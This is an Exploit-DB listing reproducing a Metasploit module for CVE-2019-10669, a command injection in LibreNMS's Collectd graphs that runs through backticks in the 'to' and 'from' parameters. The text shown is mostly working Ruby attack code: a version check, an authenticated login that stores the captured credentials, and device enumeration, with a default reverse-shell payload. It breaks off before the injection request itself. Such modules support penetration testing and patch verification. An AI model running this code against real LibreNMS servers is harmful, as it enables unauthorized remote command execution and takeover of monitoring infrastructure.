Exploit-DB #47375
Description: LibreNMS - Collectd Command Injection (Metasploit)
Type: remote
Platform: linux
Date: 2019-09-10
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LibreNMS Collectd Command Injection',
      'Description'    => %q(
        This module exploits a command injection vulnerability in the
        Collectd graphing functionality in LibreNMS.

        The `to` and `from` parameters used to define the range for
        a graph are sanitized using the `mysqli_escape_real_string()`
        function, which permits backticks. These parameters are used
        as part of a shell command that gets executed via the `passthru()`
        function, which can result in code execution.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Eldar Marcussen', # Vulnerability discovery
        'Shelby Pace'      # Metasploit module
      ],
      'References'     =>
        [
          [ 'CVE', '2019-10669' ],
          [ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ]
        ],
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
      [
        [ 'Linux',
          {
            'Platform'        =>  'unix',
            'Arch'            =>  ARCH_CMD,
            'DefaultOptions'  =>  { 'Payload' => 'cmd/unix/reverse' }
          }
        ]
      ],
      'DisclosureDate' => '2019-07-15',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
      OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
      OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
    ])
  end

  def check
    res = send_request_cgi!('method'  =>  'GET', 'uri'  =>  target_uri.path)
    return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')

    about_res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'pages', 'about.inc.php')
    )

    return Exploit::CheckCode::Detected unless about_res && about_res.code == 200

    version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/)
    return Exploit::CheckCode::Detected unless version && version.length > 1
    vprint_status("LibreNMS version #{version[1]} detected")
    version = Gem::Version.new(version[1])

    return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50')
  end

  def login
    login_uri = normalize_uri(target_uri.path, 'login')
    res = send_request_cgi('method' =>  'GET',  'uri' =>  login_uri)
    fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200

    cookies = res.get_cookies
    login_res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  login_uri,
      'cookie'    =>  cookies,
      'vars_post' =>
      {
        'username'  =>  datastore['USERNAME'],
        'password'  =>  datastore['PASSWORD']
      }
    )

    fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302

    cookies = login_res.get_cookies
    res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(target_uri.path),
      'cookie'  =>  cookies
    )
    fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')

    print_status('Successfully logged into LibreNMS. Storing credentials...')
    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    login_res.get_cookies
  end

  def get_version
    uri = normalize_uri(target_uri.path, 'about')

    res = send_request_cgi( 'method'  =>  'GET', 'uri' => uri, 'cookie' => @cookies )
    fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200

    html = res.get_html_document
    version = html.search('tr//td//a')
    fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
    version.each do |e|
      return $1 if e.text =~ /(\d+\.\d+\.?\d*)/
    end
  end

  def get_device_ids
    version = get_version
    print_status("LibreNMS version: #{version}")

    if version && Gem::Version.new(version) < Gem::Version.new('1.50')
      dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')
      format = '+list_detail'
    else
      dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device')
      format = 'list_detail'
    end

    dev_res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  dev_uri,
      'cookie'    =>  @cookies,
      'vars_post' =>
      {
        'id'              =>  'devices',
        'format'          =>  format,
        'current'         =>  '1',
        'sort[hostname]'  =>  'asc',
        'rowCount'        =>  50
      }
    )

    fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200

    json = JSON.parse(dev_res.body)
    fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?

    json = json['rows']
    fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?

    hosts = []
    json.each do |row|
      hostname = row['hostname']
      next if hostname.nil?

      id = hostname.match('href=\"device\/device=(\d+)\/')
      next unless id && id.length > 1
      hosts << id[1]
    end

    fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?

    hosts
  end

  def get_plugin_info(id)
    uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd")